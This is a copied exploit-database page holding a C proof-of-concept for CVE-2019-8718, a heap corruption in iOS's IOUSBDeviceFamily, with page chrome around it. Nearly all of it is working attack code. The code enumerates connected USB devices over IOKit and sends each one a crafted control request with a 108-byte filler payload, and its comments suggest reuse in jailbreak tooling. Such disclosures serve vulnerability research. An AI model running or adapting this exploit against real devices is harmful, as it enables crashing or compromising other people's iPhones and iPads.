扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 |
# Exploit Title: iOS IOUSBDeviceFamily 12.4.1 - 'IOInterruptEventSource' Heap Corruption (PoC) # Date: 2019-10-29 # Exploit Author: Sem Voigtlander, Joshua Hill and Raz Mashat # Vendor Homepage: https://apple.com/ # Software Link: https://support.apple.com/en-hk/HT210606 # Version: iOS 13 # Tested on: iOS 12.4.1 # CVE : N/A # A vulnerable implementation of IOInterruptEventSource on a workloop exists in IOUSBDeviceFamily. # The code can be triggered by a local attacker by sending a malicious USB control request to device. # It seems the faulting address register is corrupted as result of a heap corruption vulnerability. # However, on earlier iOS versions (tested on 12.0.1) we were able to trigger a use after free in reserved->statistics relating to the same vulnerable code too. # This bug was found through statically analyzing xnu from public source and optimized USB fuzzing. # A proof of concept written in C for macOS is attached, for other platforms python and c code using libusb exists on GitHub (https://github.com/userlandkernel/USBusted) iousbusted.c /* Pure IOKit implementation of CVE-2019-8718 Written by Sem Voigtländer. Compile: clang iousbusted.c -o iousbusted -framework IOKit -framework CoreFoundation Tip: You can also use this for projects like checkm8 autopwn etc. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <mach/mach.h> #include <IOKit/usb/IOUSBLib.h> #include <IOKit/IOCFPlugIn.h> #include <CoreFoundation/CoreFoundation.h> /* Faster comparissions for 64-bit integers than != and == */ #define FCOMP(P1,P2) !(P1 ^ P2) const char *defaultMsg = "HELLO WORLD"; /* Method for sending an USB control message to a target device */ static int send_usb_msg(IOUSBDeviceInterface** dev, int type, int reqno, int val, int idx,const char *msg) { if(!dev){ printf("No device handle given.\n"); return KERN_FAILURE; } if(!msg) msg = defaultMsg; IOUSBDevRequest req; req.bmRequestType = type; req.bRequest = reqno; req.wValue = val; req.wIndex = idx; req.wLength = strlen(msg); req.pData =msg; req.wLenDone = 0; IOReturn rc = KERN_SUCCESS; rc = (*dev)->DeviceRequest(dev, &req); if(rc != KERN_SUCCESS) { return rc; } return KERN_SUCCESS; } static int send_usbusted_pwn_msg(IOUSBDeviceInterface** dev, const char *msg) { if(!dev){ printf("No device handle given.\n"); return KERN_FAILURE; } kern_return_t rc = send_usb_msg(dev, 0|0x80, 0x6, 0x30c, 0x409, msg); if(rc != kIOReturnSuccess) { return rc; } return KERN_SUCCESS; } /* Print information from an IOKit USB device */ static int print_usb_device(io_service_t device){ kern_return_t err = KERN_SUCCESS; CFNumberRef vid = 0; CFNumberRef pid = 0; CFNumberRef locationID = 0; CFMutableDictionaryRef p = NULL; err = IORegistryEntryCreateCFProperties(device, &p, NULL, 0); if(err != KERN_SUCCESS || !p) return err; if(!CFDictionaryGetValueIfPresent(p, CFSTR("idVendor"), &vid)) return KERN_FAILURE; if(!CFDictionaryGetValueIfPresent(p, CFSTR("idProduct"), &pid)) return KERN_FAILURE; CFDictionaryGetValueIfPresent(p, CFSTR("locationID"), &locationID); CFNumberGetValue(vid, kCFNumberSInt32Type, &vid); CFNumberGetValue(pid, kCFNumberSInt32Type, &pid); // <-- yes I know this is dirty, I was tired. if(locationID) CFNumberGetValue(locationID, kCFNumberSInt32Type, &locationID); printf("Got device %#x @ %#x (%#x:%#x)\n", device, locationID, vid, pid); return err; } /* Get a handle for sending to a device */ static int get_usbdevice_handle(io_service_t device, IOUSBDeviceInterface* dev){ kern_return_t err = KERN_SUCCESS; SInt32 score; IOCFPlugInInterface** plugInInterface = NULL; err = IOCreatePlugInInterfaceForService(device, kIOUSBDeviceUserClientTypeID, kIOCFPlugInInterfaceID, &plugInInterface, &score); if (err != KERN_SUCCESS || plugInInterface == NULL) return err; err = (*plugInInterface)->QueryInterface(plugInInterface, CFUUIDGetUUIDBytes(kIOUSBDeviceInterfaceID), (LPVOID*)dev); if(err != kIOReturnSuccess) return err; // Now done with the plugin interface. (*plugInInterface)->Release(plugInInterface); //plugInInterface = NULL; if(!dev) return KERN_FAILURE; return err; } /* Iterate over all USB devices */ static int iterate_usb_devices(const char *msg){ CFMutableDictionaryRef matchingDict; io_iterator_t iter; kern_return_t kr; io_service_t device; /* set up a matching dictionary for the class */ matchingDict = IOServiceMatching(kIOUSBDeviceClassName); if (matchingDict == NULL) { return -1; // fail } /* Now we have a dictionary, get an iterator.*/ kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter); if (kr != KERN_SUCCESS) { return -1; } /* iterate */ while ((device = IOIteratorNext(iter))) { /* do something with device, eg. check properties */ kr = print_usb_device(device); if(kr != KERN_SUCCESS){ printf("Skipping device as it has no vid / pid.\n"); continue; } IOUSBDeviceInterface **dev = 0; kr = get_usbdevice_handle(device, &dev); if(kr != KERN_SUCCESS){ printf("Skipping device as no handle for it could be retrieved.\n"); continue; } kr = send_usbusted_pwn_msg(dev, msg); printf("RET: %s\n\n", mach_error_string(kr)); /* And free the reference taken before continuing to the next item */ IOObjectRelease(device); } /* Done, release the iterator */ IOObjectRelease(iter); return 0; } int main(int argc, char *argv[]){ char payload[108]; memset(&payload, 'A', 108); int err = iterate_usb_devices(payload); return err; } |
体验盒子
